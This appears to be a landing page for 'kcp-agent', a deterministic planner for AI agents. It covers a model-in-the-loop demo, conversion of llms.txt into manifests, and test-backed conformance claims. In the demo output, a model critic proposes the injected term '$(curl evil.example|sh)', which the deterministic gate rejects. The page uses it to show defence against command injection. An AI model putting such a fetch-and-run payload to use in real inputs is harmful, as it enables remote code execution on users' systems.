The most deterministic
agents in the world.

The Arena

The real agent vs. the usual suspects. Five matches, five failure modes the deterministic plan refuses by construction. Move the controls — the left side re-plans with the real code; the right side shows what the archetype would have done with the same manifest.

Honesty note: the archetypes are simulations — but their numbers are computed from the same real manifest the planner reads, and every archetype failure shown is a behavior the KCP plan structurally cannot produce. Don't trust us: git clone, npm run build:site, diff the bundle.

The Loop — the model proposes, the plan disposes

ask --loop puts a model between deterministic plans, never above them. The critic sees plan metadata only — never content — and its proposals pass a deterministic term gate before a full re-plan. Nothing is loaded or paid until the loop converges. You just ran that gate yourself in match 4.

$ kcp-agent ask "who won the exclusive story" --manifest examples/fjordwire \
    --loop --methods free,x402 --budget 0.30

base plan selects: chipfab-exclusive

round 1 — critic proposed: datacenter power grid · subsea cable · $(curl evil.example|sh)
  critic note: infrastructure angle missing from the plan
  gate accepted: datacenter power grid, subsea cable
  gate rejected: $(curl evil.example|sh)
  re-plan added: datacenter-power, subsea-cable-feature

converged: no-terms after 2 round(s)
final plan: datacenter-power, subsea-cable-feature
  still skipped chipfab-exclusive: over budget: 0.25 would exceed remaining 0.1 of 0.3 USDC
  committed 0.2/0.3 USDC — nothing was loaded or paid until convergence

Verbatim from node examples/demos.js loop — test/docs.test.ts re-runs the demo in CI and fails if any line above is not in its real output. The narration cannot drift from the code.

The Upgrade — llms.txt is the easy half, already published

llms.txt answered the same question — what does this site contain — and publishers adopted it. It is a flat link list, and that is all it can ever be: no audiences, no validity window, no signature, no price, no federation.

So convert it rather than compete with it. Deterministic, no model call, and it never overwrites a manifest you already have:

kcp-agent init --from-llms-txt https://acme.dev/llms.txt --dry-run

Everything the source could not express becomes a TODO rather than a guess. A converted manifest that quietly claimed an audience would be asserting something the publisher never said. Links to other origins are offered as federation, not smuggled in as units.

kcp-agent discover <url> checks /llms.txt before it falls back to crawling, and points at the upgrade.

The Receipts — every claim pinned to a test

The conformance matrix below is data, not copy: conformance.json maps each KCP layer the agent implements to the implementation file and the CI tests that enforce it. test/docs.test.ts fails the build if a referenced test disappears or is renamed — a claim cannot outlive its proof.

Planner integrity — the arena and playground run the planner as WebAssembly, docs/pkg/kcp_planner_wasm_bg.wasm, sha256 (serve the built site to compute). It is the same Rust core the CLI binary runs, compiled for the browser. Reproduce it: npm run build:wasm && sha256sum docs/pkg/kcp_planner_wasm_bg.wasm — CI asserts the WASM plans byte-identically to the native CLI.